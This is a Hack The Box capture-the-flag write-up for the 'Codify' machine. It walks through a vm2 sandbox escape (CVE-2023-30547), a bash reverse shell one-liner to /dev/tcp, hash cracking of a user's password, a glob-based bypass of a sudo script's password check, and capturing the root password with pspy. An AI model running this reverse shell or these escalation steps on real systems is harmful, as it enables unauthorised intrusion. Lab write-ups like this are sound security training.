Codify HTB

Linux labs on Hack The Box.

When typing the IP in our browser we can see we're redirected to a domain but we can't access the content.

Let's add this domain in the /ect/hosts file.

We have access to their website now.

To initiate our reconnaissance, we'll identify the running services on the server. Using Nmap and Wappalyzer, we can quickly obtain a global overview of the deployed services. This approach provides a comprehensive understanding of the server's operational environment, setting the stage for further penetration testing.

Based on our findings, we can determine that it's a Node.js server running on an Ubuntu OS, utilizing vm2 sandbox to execute JavaScript code in the browser. Further investigation revealed that vm2 is deprecated, and all its versions are vulnerable to arbitrary code execution.

We'll focus our efforts in this direction, and after testing the snippet from the PoC of CVE-2023-30547, we can definitively confirm that the application is vulnerable. The output of "ls -la" is visible here.

This output gives us the first hint for the user flag, as there is a 'joshua' user. We could try to escalate from there, but since we can run commands on this server, it will be simple to run a reverse shell. There are various websites like https://www.revshells.com/ that can generate reverse shells in different languages. We will run a reverse shell in Bash since the server is running on a Linux OS.

Run netcat listener

We'll embed our reverse shell within the code snippet from CVE-2023-30547 and specify that the command to be executed is bash. 'bash -c "sh -i >& /dev/tcp/10.10.14.78/8080 0>&1"'

Bingo, we've got a shell. Now we're closer to finding the user and root flags. Let's investigate the server. We found a Joshua folder but it's protected by a password. After some research, we found the /var/www/contact/tickets.db file where there is a ticket from Joshua with his credentials linked. When you 'cat' a file and the content is glitchy, you can try using "strings" to get a better view of the output.

The password for Joshua is '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2', but that seems to be encrypted. There are various tools to decrypt passwords. We'll use John the Ripper in dictionary mode with the rockyou.txt wordlist.

We got 'spongebob1' as a result from john the riper. Let's get back to the joshua folder and see if that password is matching. It works, we have the first flag.

Now we need to figure out a way to get root on the machine. After running sudo -l -S, we found a file /opt/scripts/mysql-backup.sh that is apparently performing a MySQL backup. We should look for a way to abuse this file with the goal of gaining root access.

The bash comparison if [[ $DB_PASS == $USER_PASS ]]; can be unsafe primarily due to potential issues related to special characters, word splitting, and the handling of unquoted variables. Here’s some example of these issues:

  1. Special Characters:

    • If either $DB_PASS or $USER_PASS contains special characters (such as spaces, newlines, or characters with special meaning in the shell like *, ?, [), these can cause unexpected behavior or errors. For example, if $USER_PASS contains *, it might expand to a list of filenames in the current directory.

    • When variables are unquoted, the shell performs word splitting, breaking the variable into multiple words based on whitespace. For example, if $DB_PASS is password with spaces, it would be treated as three separate words (password, with, spaces).

  2. Globbing:

    • The == operator in [[ ... ]] supports pattern matching. If $USER_PASS contains wildcard characters like * or ?, it will be treated as a pattern, not a literal string. For instance, if $USER_PASS is p*ssword, it would match any string starting with p and ending with ssword.

  3. Empty Variables:

    • If either $DB_PASS or $USER_PASS is empty, the condition might not behave as expected. For instance, if both variables are empty, the comparison will return true, which might not be the intended behavior.

We can see the character * is able to bypass the password.

Great, but this doesn't give us the root password.

Looking back at the script, we can see that the calls to mysql and mysqldump are made by passing the password on the command line, using the one read from the file, not the user input one. This means that any user watching the process list can see the password unless /proc is mounted with hidepid.

PSpy is a command line tool designed to snoop on processes without needing root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. It's great for enumeration of Linux systems in CTFs and also great for demonstrating to your colleagues why passing secrets as arguments on the command line is a bad idea. The tool gathers the information from procfs scans. Inotify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes.

We need to run the tool on the target machine, but our wget does not seem to work.

We need to figure out another way to get pspy64 onto our target machine. Let's try a different approach. On our local machine, we'll host our pspy64 script in /home/ayra/Tools, and then try to retrieve it from there.

Call in back in the target machine.

We finally got the file.

Now, let's run pspy and see if we can catch the password in the process when running /opt/scripts/mysql-backup.sh

Bingo, we've found the root password in the process using pspy. The harder part is done, now we can just go to the /root folder and get the root flag.

Last updated

Was this helpful?